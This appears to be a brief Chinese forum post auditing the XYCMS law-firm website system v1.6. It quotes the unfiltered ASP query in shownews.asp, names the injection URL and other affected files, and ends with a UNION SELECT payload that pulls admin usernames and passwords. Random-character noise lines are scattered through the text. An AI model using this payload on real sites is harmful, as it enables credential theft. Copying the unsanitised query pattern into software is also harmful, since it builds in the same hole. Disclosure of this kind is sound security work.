XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

! w3 o4 k0 O$ d9 R7 J淫荡分割线
--------------------------------------------------------
# r2 _6 x/ C8 S" W* i  C
. W/ O' U: o! p审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

0 J2 A, W# B% v漏洞文件:shownews.asp
漏洞代码：7-13行


& X2 M+ F- _) y: M<%
6 q$ H  @" W* {; q) pid=request.QueryString("id")
" I# Q6 `% V6 K# T3 [   
6 S  c- L* H$ G! z, x& @+ k; Qset snews=server.createobject("adodb.recordset")
3 D5 h- o' T3 {# s  o1 Wexec="select * from [news] where id="&id
snews.open exec,conn,1,1
%>
9 A2 p: J2 h7 m+ Q8 k

什么过滤都没有  直造成注入

9 H. Z7 d7 o. @注入点:http://127.0.0.1:99/shownews.asp?id=xx

" P8 i& M' `8 E. b( w8 R其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找

4 R7 T- v. v/ V
9 x  B8 {$ A' x- B3 u: P$ hexp: union select 1,admin,password,4,5,7 from admin_user
​